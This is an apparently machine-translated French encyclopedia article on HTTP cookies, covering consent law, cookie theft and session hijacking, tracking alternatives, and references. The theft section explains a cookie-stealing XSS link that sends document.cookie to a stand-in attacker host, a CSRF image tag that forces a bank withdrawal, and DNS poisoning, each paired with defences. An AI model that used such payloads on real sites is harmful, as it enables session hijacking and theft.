En 2009, la loi a été modifiée par la directive 2009/136/CE, qui comprenait une modification de l’article 5, paragraphe 3. Au lieu d’offrir aux utilisateurs la possibilité de refuser le stockage des cookies, la directive révisée exige que le consentement soit obtenu pour les cookies. stockage. ^[71] La définition du consentement renvoie à la définition de la législation européenne sur la protection des données, d’abord la directive sur la protection des données de 1995, puis le règlement général sur la protection des données (RGPD). Comme la définition du consentement a été renforcée dans le texte du RGPD, cela a eu pour effet d’augmenter la qualité du consentement requis par ceux qui stockent et accèdent à des informations telles que les cookies sur les appareils des utilisateurs. Dans une affaire tranchée en vertu de la directive sur la protection des données, la Cour de justice de l’Union européennea confirmé plus tard cependant que la loi précédente impliquait la même forte qualité de consentement que l’instrument actuel. ^[73] En plus de l’exigence de consentement qui découle du stockage ou de l’accès aux informations sur le terminal d’un utilisateur, les informations contenues dans de nombreux cookies seront considérées comme des données personnelles en vertu du RGPD uniquement, et nécessiteront une base légale pour être traitées. C’est le cas depuis la directive sur la protection des données de 1995, qui utilisait une définition identique des données personnelles, bien que le RGPD dans le considérant interprétatif 30 précise que les identifiants de cookies sont inclus. Bien que tous les traitements de données dans le cadre du RGPD ne nécessitent pas de consentement, les caractéristiques de la publicité comportementale signifient qu’il est difficile, voire impossible, de se justifier par un autre motif. ^{[74] [75]}

Le consentement dans le cadre de la combinaison du RGPD et de la directive e-Privacy doit répondre à un certain nombre de conditions relatives aux cookies. ^[76] Il doit être donné librement et sans ambiguïté : les cases précochées ont été interdites à la fois par la directive sur la protection des données de 1995 ^[73] et par le RGPD (considérant 32). ^[77] Le RGPD précise que le consentement doit être aussi « facile à retirer qu’à donner », ^[77] ce qui signifie qu’un bouton tout rejeter doit être aussi facile d’accès en termes de clics et de visibilité qu’un bouton « tout accepter ». . ^[76] Il doit être spécifique et éclairé, c’est-à-dire que le consentement porte sur des finalités particulières d’utilisation de ces données, et toutes les organisations souhaitant utiliser ce consentement doivent être spécifiquement nommées. ^{[78] [79]}La Cour de justice de l’Union européenne a également statué que le consentement doit être “efficace et opportun”, ce qui signifie qu’il doit être obtenu avant que les cookies ne soient déposés et que le traitement des données ne commence après. ^[80]

La réponse de l’industrie a été largement négative. Robert Bond du cabinet d’avocats Speechly Bircham décrit les effets comme “de grande portée et incroyablement onéreux” pour “toutes les entreprises britanniques”. Simon Davis de Privacy International soutient qu’une application appropriée “détruirait l’ensemble de l’industrie”. ^[81] Cependant, les chercheurs notent que la nature onéreuse des fenêtres contextuelles de cookies découle d’une tentative de continuer à exploiter un modèle commercial par le biais de demandes alambiquées qui peuvent être incompatibles avec le RGPD. ^[74]

Les études universitaires et les régulateurs décrivent tous deux un non-respect généralisé de la loi. Une étude portant sur 10 000 sites Web britanniques a révélé que seuls 11,8 % des sites respectaient les exigences légales minimales, avec seulement 33,4 % des sites Web étudiés fournissant un mécanisme pour rejeter les cookies aussi facile à utiliser qu’à les accepter. ^[76] Une étude portant sur 17 000 sites Web a révélé que 84 % des sites ne respectaient pas ce critère, concluant en outre que de nombreux cookies tiers étaient déposés sans aucun préavis. ^[82] Le régulateur britannique, l’ Information Commissioner’s Office , a déclaré en 2019 que le « cadre de transparence et de consentement » de l’industrie du groupe de technologie publicitaire l’ Interactive Advertising Bureauétait “insuffisante pour garantir la transparence et le traitement équitable des données personnelles en question et donc également insuffisante pour fournir un consentement libre et éclairé, avec les implications qui en découlent pour la conformité au PECR [e-Privacy]”. ^[78] De nombreuses entreprises qui vendent des solutions de conformité (plateformes de gestion du consentement) permettent qu’elles soient configurées de manière manifestement illégale, ce qui, selon les chercheurs, soulève des questions concernant l’attribution appropriée de la responsabilité. ^[83]

Une spécification W3C appelée P3P a été proposée pour que les serveurs communiquent leur politique de confidentialité aux navigateurs, permettant une gestion automatique et configurable par l’utilisateur. Cependant, peu de sites Web implémentent la spécification, aucun navigateur majeur ne la prend en charge et le W3C a interrompu le travail sur la spécification. ^[84]

Les cookies tiers peuvent être bloqués par la plupart des navigateurs pour augmenter la confidentialité et réduire le suivi par les sociétés de publicité et de suivi sans affecter négativement l’expérience Web de l’utilisateur sur tous les sites. Certains sites exploitent des « murs de cookies », qui conditionnent l’accès à un site à l’autorisation technique des cookies dans un navigateur, en appuyant sur « accepter », ou les deux. ^[85] En 2020, le comité européen de la protection des données , composé de tous les régulateurs de la protection des données de l’UE, a déclaré que les murs de cookies étaient illégaux.

Pour que le consentement soit librement donné, l’accès aux services et fonctionnalités ne doit pas être subordonné au consentement d’un utilisateur au stockage d’informations, ou à l’accès à des informations déjà stockées, dans l’équipement terminal d’un utilisateur (appelé murs de biscuits). ^[86]

De nombreux opérateurs publicitaires ont une option de désactivation de la publicité comportementale, avec un cookie générique dans le navigateur qui arrête la publicité comportementale. ^{[87] [88]} Cependant, cela est souvent inefficace contre de nombreuses formes de suivi, telles que le suivi de première partie qui gagne en popularité pour éviter l’impact des navigateurs bloquant les cookies tiers. ^{[89] [90]} Par ailleurs, si un tel paramétrage est plus difficile à mettre en place que l’acceptation du tracking, il reste contraire aux conditions de la directive e-Privacy. ^[76]

Vol de cookies et détournement de session

Cette section a plusieurs problèmes. Aidez -nous à l’améliorer ou discutez de ces problèmes sur la page de discussion . (Learn how and when to remove these template messages) This section possibly contains original research. Please improve it by verifying the claims made and adding inline citations. Statements consisting only of original research should be removed. (September 2011) (Learn how and when to remove this template message) This section does not cite any sources. Please help improve this section by adding citations to reliable sources. Unsourced material may be challenged and removed. (September 2011) (Learn how and when to remove this template message) (Learn how and when to remove this template message)

La plupart des sites Web utilisent des cookies comme seuls identifiants pour les sessions utilisateur, car les autres méthodes d’identification des utilisateurs Web présentent des limites et des vulnérabilités. Si un site Web utilise des cookies comme identifiants de session, les attaquants peuvent usurper l’identité des demandes des utilisateurs en volant un ensemble complet de cookies des victimes. Du point de vue du serveur web, une requête d’un attaquant a alors la même authentification que les requêtes de la victime ; ainsi la demande est effectuée au nom de la session de la victime.

Voici différents scénarios de vol de cookies et de piratage de session utilisateur (même sans voler les cookies utilisateur) qui fonctionnent avec des sites Web reposant uniquement sur les cookies HTTP pour l’identification de l’utilisateur.

Écoute du réseau

Un cookie peut être volé par un autre ordinateur autorisé à lire à partir du réseau

Le trafic sur un réseau peut être intercepté et lu par des ordinateurs du réseau autres que l’expéditeur et le destinataire (en particulier via un Wi-Fi ouvert non chiffré ). Ce trafic inclut les cookies envoyés sur des Sessions HTTP ordinaires non chiffrées . Lorsque le trafic réseau n’est pas crypté, les attaquants peuvent donc lire les communications des autres utilisateurs sur le réseau, y compris les cookies HTTP ainsi que l’intégralité du contenu des conversations, dans le but d’une attaque man-in-the-middle .

Un attaquant pourrait utiliser des cookies interceptés pour se faire passer pour un utilisateur et effectuer une tâche malveillante, comme transférer de l’argent depuis le compte bancaire de la victime.

Ce problème peut être résolu en sécurisant la communication entre l’ordinateur de l’utilisateur et le serveur en utilisant Transport Layer Security ( protocole HTTPS ) pour chiffrer la connexion. Un serveur peut spécifier l’ Secureindicateur lors de la définition d’un cookie, ce qui obligera le navigateur à envoyer le cookie uniquement sur un canal crypté, tel qu’une connexion TLS. ^[49]

Publication de faux sous-domaine : Empoisonnement du cache DNS

Si un attaquant parvient à amener un Serveur dns à mettre en cache une entrée DNS fabriquée (appelée Empoisonnement du cache DNS ), cela pourrait permettre à l’attaquant d’accéder aux cookies d’un utilisateur. Par exemple, un attaquant pourrait utiliser l’Empoisonnement du cache DNS pour créer une entrée DNS fabriquée f12345.www.example.comqui pointe vers l’ adresse IP du serveur de l’attaquant. L’attaquant peut alors poster une URL d’image depuis son propre serveur (par exemple, HTTP://f12345.www.example.com/img_4_cookie.jpg). Les victimes lisant le message de l’attaquant téléchargeraient cette image à partir de f12345.www.example.com. Étant donné qu’il f12345.www.example.coms’agit d’un sous-domaine de www.example.com, les navigateurs des victimes soumettraient tous les example.comcookies liés au serveur de l’attaquant.

Si un attaquant est capable d’accomplir cela, c’est généralement la faute des fournisseurs d’accès Internet qui ne sécurisent pas correctement leurs serveurs DNS. Cependant, la gravité de cette attaque peut être atténuée si le site Web cible utilise des cookies sécurisés. Dans ce cas, l’attaquant aurait le défi supplémentaire ^[91] d’obtenir le certificat TLS du site Web cible auprès d’une autorité de certification , car les cookies sécurisés ne peuvent être transmis que via une connexion cryptée. Sans certificat TLS correspondant, les navigateurs des victimes afficheraient un message d’avertissement concernant le certificat invalide de l’attaquant, ce qui aiderait à dissuader les utilisateurs de visiter le site Web frauduleux de l’attaquant et d’envoyer leurs cookies à l’attaquant.

Cross-site scripting : vol de cookies

Les cookies peuvent également être volés à l’aide d’une technique appelée cross-site scripting. Cela se produit lorsqu’un attaquant profite d’un site Web qui permet à ses utilisateurs de publier du contenu HTML et JavaScript non filtré . En publiant du code HTML et JavaScript malveillant, l’attaquant peut amener le navigateur Web de la victime à envoyer les cookies de la victime à un site Web contrôlé par l’attaquant.

Par exemple, un attaquant peut poster un message sur www.example.comavec le lien suivant :

< a href = “#” onclick = “window.location = ‘HTTP://attaquant.com/stole.cgi?text=’ + escape(document.cookie); return false;” > Cliquez ici ! </a> _ _ Cross-site scripting : un cookie qui ne devrait être échangé qu’entre un serveur et un client est envoyé à une autre partie.

Lorsqu’un autre utilisateur clique sur ce lien, le navigateur exécute le morceau de code contenu dans l’ onclickattribut, remplaçant ainsi la chaîne document.cookiepar la liste des cookies accessibles depuis la page en cours. En conséquence, cette liste de cookies est envoyée au attacker.comserveur. Si la publication malveillante de l’attaquant se trouve sur un site Web HTTPS https://www.example.com, des cookies sécurisés seront également envoyés à attacker.com en texte brut.

Il est de la responsabilité des développeurs de sites Web de filtrer ces codes malveillants.

De telles attaques peuvent être atténuées en utilisant des cookies HttpOnly. Ces cookies ne seront pas accessibles par les langages de script côté client comme JavaScript, et par conséquent, l’attaquant ne pourra pas collecter ces cookies.

Script intersite : demande de proxy

Dans les anciennes versions de nombreux navigateurs, il y avait des failles de sécurité dans l’implémentation de l’ API XMLHttpRequest . Cette API permet aux pages de spécifier un serveur proxy qui obtiendrait la réponse, et ce serveur proxy n’est pas soumis à la politique de même origine . Par exemple, une victime lit la publication d’un attaquant sur www.example.com, et le script de l’attaquant est exécuté dans le navigateur de la victime. Le script génère une requête www.example.comauprès du serveur proxy attacker.com. Étant donné que la requête concerne www.example.com, tous les example.comcookies seront envoyés avec la requête, mais acheminés via le serveur proxy de l’attaquant. Ainsi, l’attaquant pourrait récolter les cookies de la victime.

Cette attaque ne fonctionnerait pas avec les cookies sécurisés, car ils ne peuvent être transmis que via des connexions HTTPS , et le protocole HTTPS impose un cryptage de bout en bout (c’est-à-dire que les informations sont cryptées sur le navigateur de l’utilisateur et décryptées sur le serveur de destination). Dans ce cas, le serveur proxy ne verrait que les octets bruts et chiffrés de la requête HTTP.

Falsification de requêtes intersites

Par exemple, Bob peut parcourir un forum de discussion où un autre utilisateur, Mallory, a publié un message. Supposons que Mallory a créé un élément d’image HTML qui référence une action sur le site Web de la banque de Bob (plutôt qu’un fichier image), par exemple,

<img src= “HTTP://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory” >

Si la banque de Bob conserve ses informations d’authentification dans un cookie, et si le cookie n’a pas expiré, alors la tentative par le navigateur de Bob de charger l’image soumettra le formulaire de retrait avec son cookie, autorisant ainsi une transaction sans l’approbation de Bob.

Cookiejacking

Le cookiejacking est une attaque contre Internet Explorer qui permet à l’attaquant de voler les cookies de session d’un utilisateur en incitant un utilisateur à faire glisser un objet sur l’écran. ^[92] Microsoft a jugé la faille à faible risque en raison du “niveau d’interaction utilisateur requis”, ^[92] et de la nécessité d’avoir un utilisateur déjà connecté au site Web dont le cookie est volé. ^[93] Malgré cela, un chercheur a tenté l’attaque contre 150 de leurs amis Facebook et a obtenu des cookies de 80 d’entre eux via l’ingénierie sociale . ^[92]

Inconvénients des cookies

Outre les problèmes de confidentialité, les cookies présentent également des inconvénients techniques. En particulier, ils n’identifient pas toujours avec précision les utilisateurs, ils peuvent être utilisés pour des attaques de sécurité et ils sont souvent en contradiction avec le style architectural du logiciel Representational State Transfer ( REST ). ^{[94] [95]}

Identification inexacte

Si plusieurs navigateurs sont utilisés sur un ordinateur, chacun dispose généralement d’une zone de stockage distincte pour les cookies. Par conséquent, les cookies n’identifient pas une personne, mais une combinaison d’un compte d’utilisateur, d’un ordinateur et d’un navigateur Web. Ainsi, toute personne qui utilise plusieurs comptes, ordinateurs ou navigateurs dispose de plusieurs ensembles de cookies. ^[96]

De même, les cookies ne font pas la différence entre plusieurs utilisateurs qui partagent le même compte utilisateur , ordinateur et navigateur.

État incohérent sur le client et le serveur

L’utilisation de cookies peut générer une incohérence entre l’état du client et l’état tel qu’il est stocké dans le cookie. Si l’utilisateur acquiert un cookie puis clique sur le bouton “Précédent” du navigateur, l’état du navigateur n’est généralement pas le même qu’avant cette acquisition. Par exemple, si le panier d’achat d’une boutique en ligne est construit à l’aide de cookies, le contenu du panier peut ne pas changer lorsque l’utilisateur revient dans l’historique du navigateur : si l’utilisateur appuie sur un bouton pour ajouter un article au panier et clique ensuite sur le bouton “Retour”, l’article reste dans le panier. Ce n’est peut-être pas l’intention de l’utilisateur, qui souhaitait peut-être annuler l’ajout de l’élément. Cela peut entraîner un manque de fiabilité, de la confusion et des bogues.

Alternatives aux cookies

Certaines des opérations pouvant être effectuées à l’aide de cookies peuvent également être effectuées à l’aide d’autres mécanismes.

Jetons Web JSON

Un jeton Web JSON (JWT) est un paquet d’informations autonome qui peut être utilisé pour stocker des informations sur l’identité et l’authenticité de l’utilisateur. Cela permet de les utiliser à la place des cookies de session. Contrairement aux cookies, qui sont automatiquement attachés à chaque requête HTTP par le navigateur, les JWT doivent être explicitement attachés à chaque requête HTTP par l’application Web.

Authentification HTTP

Le protocole HTTP comprend les protocoles d’authentification d’accès de base et d’authentification d’ accès digest , qui autorisent l’accès à une page Web uniquement lorsque l’utilisateur a fourni le nom d’utilisateur et le mot de passe corrects. Si le serveur requiert de telles informations d’identification pour accorder l’accès à une page Web, le navigateur les demande à l’utilisateur et, une fois obtenues, le navigateur les stocke et les envoie dans chaque demande de page ultérieure. Ces informations peuvent être utilisées pour suivre l’utilisateur.

adresse IP

Certains utilisateurs peuvent être suivis en fonction de l’ adresse IP de l’ordinateur demandant la page. Le serveur connaît l’adresse IP de l’ordinateur exécutant le navigateur (ou le proxy , le cas échéant) et pourrait théoriquement lier la session d’un utilisateur à cette adresse IP.

Cependant, les adresses IP ne sont généralement pas un moyen fiable de suivre une session ou d’identifier un utilisateur. De nombreux ordinateurs conçus pour être utilisés par un seul utilisateur, tels que les ordinateurs de bureau ou les ordinateurs personnels, sont derrière un traducteur d’adresses réseau (NAT). Cela signifie que plusieurs PC partageront une adresse IP publique. De plus, certains systèmes, tels que Tor , sont conçus pour conserver l’anonymat sur Internet , rendant le suivi par adresse IP peu pratique, impossible ou présentant un risque pour la sécurité.

URL (chaîne de requête)

Une technique plus précise consiste à intégrer des informations dans les URL. La partie chaîne de requête de l’ URL est la partie généralement utilisée à cette fin, mais d’autres parties peuvent également être utilisées. Les mécanismes de session Java Servlet et PHP utilisent tous deux cette méthode si les cookies ne sont pas activés.

Cette méthode consiste pour le serveur Web à ajouter des chaînes de requête contenant un identifiant de session unique à tous les liens à l’intérieur d’une page Web. Lorsque l’utilisateur suit un lien, le navigateur envoie la chaîne de requête au serveur, permettant au serveur d’identifier l’utilisateur et de maintenir l’état.

Ces types de chaînes de requête sont très similaires aux cookies en ce sens qu’ils contiennent tous deux des informations arbitraires choisies par le serveur et qu’ils sont renvoyés au serveur à chaque requête. Cependant, il existe quelques différences. Étant donné qu’une chaîne de requête fait partie d’une URL, si cette URL est réutilisée ultérieurement, la même information jointe sera envoyée au serveur, ce qui pourrait prêter à confusion. Par exemple, si les préférences d’un utilisateur sont encodées dans la chaîne de requête d’une URL et que l’utilisateur envoie cette URL à un autre utilisateur par e-mail , ces préférences seront également utilisées pour cet autre utilisateur.

De plus, si le même utilisateur accède plusieurs fois à la même page à partir de différentes sources, rien ne garantit que la même chaîne de requête sera utilisée à chaque fois. Par exemple, si un utilisateur visite une page en venant d’une page interne au site la première fois, puis visite la même page en venant d’un moteur de recherche externe la deuxième fois, les chaînes de requête seront probablement différentes. Si des cookies étaient utilisés dans cette situation, les cookies seraient les mêmes.

D’autres inconvénients des chaînes de requête sont liés à la sécurité. Le stockage de données qui identifient une session dans une chaîne de requête permet des attaques de fixation de session , des attaques de journalisation des référents et d’autres exploits de sécurité . Le transfert des identifiants de session sous forme de cookies HTTP est plus sécurisé.

Champs de formulaire masqués

Une autre forme de suivi de session consiste à utiliser des formulaires Web avec des champs masqués. Cette technique est très similaire à l’utilisation de chaînes de requête URL pour contenir les informations et présente bon nombre des mêmes avantages et inconvénients. En fait, si le formulaire est géré avec la méthode HTTP GET, cette technique est similaire à l’utilisation de chaînes de requête d’URL, car la méthode GET ajoute les champs du formulaire à l’URL en tant que chaîne de requête. Mais la plupart des formulaires sont gérés avec HTTP POST, ce qui entraîne l’envoi des informations du formulaire, y compris les champs masqués, dans le corps de la requête HTTP, qui ne fait ni partie de l’URL, ni d’un cookie.

Cette approche présente deux avantages du point de vue du tracker. Premièrement, le fait que les informations de suivi soient placées dans le corps de la requête HTTP plutôt que dans l’URL signifie qu’elles ne seront pas remarquées par l’utilisateur moyen. Deuxièmement, les informations de session ne sont pas copiées lorsque l’utilisateur copie l’URL (pour marquer la page ou l’envoyer par e-mail, par exemple).

Propriété DOM “window.name”

Tous les navigateurs Web actuels peuvent stocker une quantité assez importante de données (2 à 32 Mo) via JavaScript en utilisant la propriété DOMwindow.name . Ces données peuvent être utilisées à la place des cookies de session et sont également inter-domaines. La technique peut être couplée à des objets JSON /JavaScript pour stocker des ensembles complexes de variables de session côté client.

L’inconvénient est que chaque fenêtre ou onglet séparé aura initialement une window.namepropriété vide lors de son ouverture. En outre, la propriété peut être utilisée pour suivre les visiteurs sur différents sites Web, ce qui en fait une préoccupation pour la confidentialité sur Internet .

À certains égards, cela peut être plus sûr que les cookies en raison du fait que son contenu n’est pas automatiquement envoyé au serveur à chaque demande comme le sont les cookies, il n’est donc pas vulnérable aux attaques de détection de cookies réseau. Cependant, si des mesures spéciales ne sont pas prises pour protéger les données, elles sont vulnérables à d’autres attaques car les données sont disponibles sur différents sites Web ouverts dans la même fenêtre ou le même onglet.

Identifiant pour les annonceurs

Apple utilise une technique de suivi appelée « Identifiant pour annonceurs » (IDFA). Cette technique attribue un identifiant unique à chaque utilisateur qui achète un appareil Apple iOS (tel qu’un iPhone ou un iPad). Cet identifiant est ensuite utilisé par le réseau publicitaire d’Apple, iAd , pour déterminer les publicités que les individus regardent et auxquelles ils répondent. ^[97]

ETag

Étant donné que les ETags sont mis en cache par le navigateur et renvoyés avec les demandes ultérieures pour la même ressource, un serveur de suivi peut simplement répéter tout ETag reçu du navigateur pour s’assurer qu’un ETag attribué persiste indéfiniment (de la même manière que les cookies persistants). Des champs d’en-tête de mise en cache supplémentaires peuvent également améliorer la préservation des données ETag.

Les ETags peuvent être vidés dans certains navigateurs en vidant le cache du navigateur .

espace archivage sur le Web

Certains navigateurs Web prennent en charge des mécanismes de persistance qui permettent à la page de stocker les informations localement pour une utilisation ultérieure.

La norme HTML5 (que la plupart des navigateurs Web modernes prennent en charge dans une certaine mesure) comprend une API JavaScript appelée stockage Web qui permet deux types de stockage : le stockage local et le stockage de session. Le stockage local se comporte de la même manière que les cookies persistants tandis que le stockage de session se comporte de la même manière que les cookies de session , sauf que le stockage de session est lié à la durée de vie d’un onglet/fenêtre individuel (AKA une session de page), et non à une session de navigateur entière comme les cookies de session. ^[98]

Internet Explorer prend en charge les informations persistantes ^[99] dans l’historique du navigateur, dans les favoris du navigateur, dans un magasin XML (“données utilisateur”) ou directement dans une page Web enregistrée sur le disque.

Certains plugins de navigateur Web incluent également des mécanismes de persistance. Par exemple, Adobe Flash a un objet partagé local et Microsoft Silverlight a un stockage isolé. ^[100]

Cache du navigateur

Le cache du navigateur peut également être utilisé pour stocker des informations pouvant être utilisées pour suivre des utilisateurs individuels. Cette technique tire parti du fait que le navigateur Web utilise les ressources stockées dans le cache au lieu de les télécharger à partir du site Web lorsqu’il détermine que le cache contient déjà la version la plus récente de la ressource.

Par exemple, un site Web peut diffuser un fichier JavaScript avec un code définissant un identifiant unique pour l’utilisateur (par exemple, var userId = 3243242;). Après la première visite de l’utilisateur, chaque fois que l’utilisateur accède à la page, ce fichier sera chargé à partir du cache au lieu d’être téléchargé à partir du serveur. Ainsi, son contenu ne changera jamais.

Empreinte du navigateur

Une empreinte digitale de navigateur est une information recueillie sur la configuration d’un navigateur, comme le numéro de version, la résolution d’écran et le système d’exploitation, à des fins d’identification. Les empreintes digitales peuvent être utilisées pour identifier totalement ou partiellement des utilisateurs ou des appareils individuels, même lorsque les cookies sont désactivés.

Les informations de base sur la configuration du navigateur Web sont depuis longtemps collectées par les services d’analyse Web dans le but de mesurer avec précision le trafic Web humain réel et d’écarter diverses formes de fraude au clic . Avec l’aide de langages de script côté client , la collecte de paramètres beaucoup plus ésotériques est possible. ^{[101] [102]} L’assimilation de ces informations en une seule chaîne constitue une empreinte digitale de l’appareil. En 2010, EFF a mesuré au moins 18,1 bits d’ entropie possible à partir des empreintes digitales du navigateur. ^[103] Canvas fingerprinting , une technique plus récente, prétend ajouter 5,7 bits supplémentaires.

Voir également

• Portail internet
• Portail de programmation informatique

• HTML dynamique
• JavaBeans d’entreprise
• Session (informatique)
• Cookie sécurisé
• HTTP Strict Transport Security § Problèmes de confidentialité

Références

1. ^ “Que sont les cookies ? Quelles sont les différences entre eux (de session ou persistants) ?” . Cisco . 17 juillet 2018. 117925.
2. ^ ^{un b} Vamosi, Robert (14 avril 2008). “Cookie Gmail volé via Google Spreadsheets” . News.cnet.com . Archivé de l’original le 9 décembre 2013 . Récupéré le 19 octobre 2017 .
3. ^ “Qu’en est-il de la” directive européenne sur les cookies “?” . WebCookies.org. 2013. Archivé de l’original le 11 octobre 2017 . Récupéré le 19 octobre 2017 .
4. ^ “Nouvelles règles du réseau définies pour faire s’effondrer les cookies” . BBC . 8 mars 2011. Archivé de l’original le 10 août 2018 . Récupéré le 21 juin 2018 .
5. ^ “Le sénateur Rockefeller : préparez-vous pour une véritable facture de non-suivi pour la publicité en ligne” . Adage.com . 6 mai 2011. Archivé de l’original le 24 août 2011 . Récupéré le 2 juin 2011 .
6. ^ “D’où vient le cookie :: DominoPower” . dominopower.com . Archivé de l’original le 19 octobre 2017 . Récupéré le 19 octobre 2017 .
7. ^ Raymond, Eric (éd.). “biscuit magique” . Le fichier Jargon (version 4.4.7) . Archivé de l’original le 6 septembre 2017 . Récupéré le 8 septembre 2017 .
8. ^ “Pourquoi les cookies Internet sont-ils appelés cookies ?” .
9. ^ Schwartz, John (4 septembre 2001). « Donner au Web une mémoire coûte à la vie privée de ses utilisateurs » . Le New York Times . Archivé de l’original le 26 août 2011 . Récupéré le 19 février 2017 .
10. ^ ^{un b} Kesan, Jey; et Shah, Rajiv; Déconstruction du code Archivé le 19/08/2018 sur Archive-It , SSRN.com, chapitre II.B (cookies de Netscape), Yale Journal of Law and Technology, 6, 277–389
11. ^ ^{un b} Kristol, David; Cookies HTTP : Normes, confidentialité et politique , ACM Transactions on Internet Technology, 1(2), 151–198, 2001 doi : 10.1145/502152.502153 (une version étendue est disponible gratuitement sur [https://web.archive.org/ web/20140716051321/HTTP://arxiv.org/abs/cs.SE/0105018 Archivé le 16/07/2014 sur la Wayback Machine arXiv:cs/0105018v1 [cs.SE]])
12. ^ “Communiqué de presse : Netscape Communications propose un nouveau navigateur réseau gratuit sur Internet” . Archivé de l’original le 7 décembre 2006 . Récupéré le 22 mai 2010 .
13. ^ “Usenet Post par Marc Andreessen : Le voici, monde !” . 13 octobre 1994. Archivé de l’original le 27 avril 2011 . Récupéré le 22 mai 2010 .
14. ^ Kristol, David M. (novembre 2001). “Cookies HTTP” . Transactions ACM sur la technologie Internet . 1 (2): 151–198. arXiv : cs/0105018 . doi : 10.1145/502152.502153 . ISSN 1533-5399 . S2CID 1848140 .
15. ^ US 5774670 , Montulli, Lou, “État client persistant dans un système client-serveur basé sur un protocole de transfert hypertexte”, publié le 30/06/1998, attribué à Netscape Communications Corp.
16. ^ Hardmeier, Sandi (25 août 2005). “L’histoire d’Internet Explorer” . Microsoft. Archivé de l’original le 1er octobre 2005 . Récupéré le 4 janvier 2009 .
17. ^ Jackson, T (12 février 1996). “Ce bogue dans votre PC est un cookie intelligent”. Financial Times .
18. ^ “RFC2109” .
19. ^ “Configuration des cookies” . staff.washington.edu . 19 juin 2009. Archivé de l’original le 16 mars 2017 . Récupéré le 15 mars 2017 .
20. ^ La version 3.5 de la documentation d’Edbrowse indiquait “Notez que seuls les cookies de style Netscape sont pris en charge. Cependant, il s’agit de la version de cookie la plus courante. Elle répondra probablement à vos besoins.” Ce paragraphe a été supprimé dans les versions ultérieures de la documentation Archivé le 16/03/2017 sur la Wayback Machine suite à l’obsolescence de la RFC 2965.
21. ^ Hodges, Jeff; Corry, Bil (6 mars 2011). ” ‘HTTP State Management Mechanism’ to Proposed Standard” . The Security Practice . Archivé de l’original le 7 août 2016 . Récupéré le 17 juin 2016 .
22. ^ “Set-Cookie2 – HTTP | MDN” . développeur.mozilla.org . Récupéré le 8 mars 2021 .
23. ^ Description du support Microsoft des cookies persistants et par session dans Internet Explorer Archivé le 25/09/2011 sur Wayback Machine Article ID 223799, 2007
24. ^ “Maintenir l’état de la session avec les cookies” . Réseau de développeurs Microsoft . Archivé de l’original le 14 octobre 2012 . Récupéré le 22 octobre 2012 .
25. ^ ” Attribut de cookie “SameSite”, Chrome Platform tatus” . Chromestatus.com . Archivé de l’original le 9 mai 2016 . Récupéré le 23 avril 2016 .
26. ^ Goodwin, M.; Ouest (20 juin 2016). “Cookies du même site draft-ietf-httpbis-cookie-same-site-00” . tools.ietf.org . Archivé de l’original le 16 août 2016 . Récupéré le 28 juillet 2016 .
27. ^ “Utilisation de l’attribut de cookie du même site pour empêcher les attaques CSRF” . www.netsparker.com . Récupéré le 5 avril 2021 .
28. ^ “Exiger “Secure” pour “SameSite=None”. par miketaylr · Pull Request #1323 · httpwg/HTTP-extensions” . GitHub . Récupéré le 5 avril 2021 .
29. ^ “Test de compatibilité du navigateur de l’attribut de cookie ‘SameSite'” .
30. ^ “Modifications des cookies SameSite en février 2020 : ce que vous devez savoir” . Blog Chrome . Récupéré le 5 avril 2021 .
31. ^ “Annuler temporairement les modifications des cookies SameSite” . Blog Chrome . Récupéré le 5 avril 2021 .
32. ^ “Domaines tiers” . WebCookies.org. Archivé de l’original le 9 décembre 2014 . Récupéré le 7 décembre 2014 .
33. ^ “Nombre de cookies” . WebCookies.org. Archivé de l’original le 9 décembre 2014 . Récupéré le 7 décembre 2014 .
34. ^ Statt, Nick (24 mars 2020). “Apple met à jour la technologie anti-pistage de Safari avec un blocage complet des cookies tiers” . La Verge . Récupéré le 24 juillet 2020 .
35. ^ “Firefox commence à bloquer les cookies tiers par défaut” . VentureBeat . 4 juin 2019 . Récupéré le 24 juillet 2020 .
36. ^ Courageux (6 février 2020). “OK Google, ne retardez pas la vraie confidentialité du navigateur jusqu’en 2022” . Navigateur courageux . Récupéré le 24 juillet 2020 .
37. ^ Protalinski, Emil (19 mai 2020). “Chrome 83 arrive avec des paramètres de sécurité repensés, des cookies tiers bloqués en Incognito” . VentureBeat . VentureBeat . Récupéré le 25 juin 2020 .
38. ^ Goel, Vinay (24 juin 2021). “Un calendrier mis à jour pour les jalons de Privacy Sandbox” . Blog officiel de Google Chrome . Récupéré le 13 octobre 2021 .
39. ^ “En savoir plus sur la liste des suffixes publics” . Publicsuffix.org . Archivé de l’original le 14 mai 2016 . Récupéré le 28 juillet 2016 .
40. ^ Mayer, Jonathan (19 août 2011). « Suivi des trackers : Microsoft Advertising » . Le Centre Internet et Société. Archivé de l’original le 26 septembre 2011 . Récupéré le 28 septembre 2011 .
41. ^ Vijayan, Jaikumar. “Microsoft désactive les ‘supercookies’ utilisés sur les visiteurs de MSN.com” . Archivé de l’original le 27 novembre 2014 . Récupéré le 23 novembre 2014 .
42. ^ Englehardt, Steven; Edelstein, Arthur (26 janvier 2021). “Firefox 85 sévit contre les supercookies” .
43. ^ Angwin, Julia ; Tigas, Mike. “Zombie Cookie : Le cookie de suivi que vous ne pouvez pas tuer” . ProPublica . Récupéré le 1er novembre 2020 .
44. ^ Stolze, Conrad (11 juin 2011). “Le cookie qui ne s’effondrerait pas!” . Magazine 24×7 . Récupéré le 1er novembre 2020 .
45. ^ Peng, Weihong; Cisna, Jennifer (2000). “Les cookies HTTP, une technologie prometteuse”. ProQuest . Examen des informations en ligne. ProQuest 194487945 .
46. ^ Jim Manico citant Daniel Stenberg, Limites de longueur des cookies dans le monde réel Archivé le 02/07/2013 à la Wayback Machine
47. ^ Lee, Wei-Bin; Chen, Hsing-Bai; Chang, Shun-Shyan; Chen, Tzung-Her (25 janvier 2019). “Protection sécurisée et efficace des cookies HTTP avec auto-vérification” . Journal international des systèmes de communication . 32 (2) : e3857. doi : 10.1002/dac.3857 .
48. ^ Rainie, Lee (2012). En réseau : le nouveau système d’exploitation social. p. 237
49. ^ ^{a b} Mécanisme de gestion d’état HTTP IETF , avril 2011 Obsolètes RFC 2965
50. ^ “Cookies HTTP d’état client persistants : spécification préliminaire” . Netscape. c. 1999. Archivé de l’original le 5 août 2007.
51. ^ “Propriété des cookies” . MSDN . Microsoft. Archivé de l’original le 5 avril 2008 . Récupéré le 4 janvier 2009 .
52. ^ Shannon, Ross (26 février 2007). “Cookies, Définir et récupérer des informations sur vos lecteurs” . SourceHTML. Archivé de l’original le 26 août 2011 . Récupéré le 4 janvier 2009 .
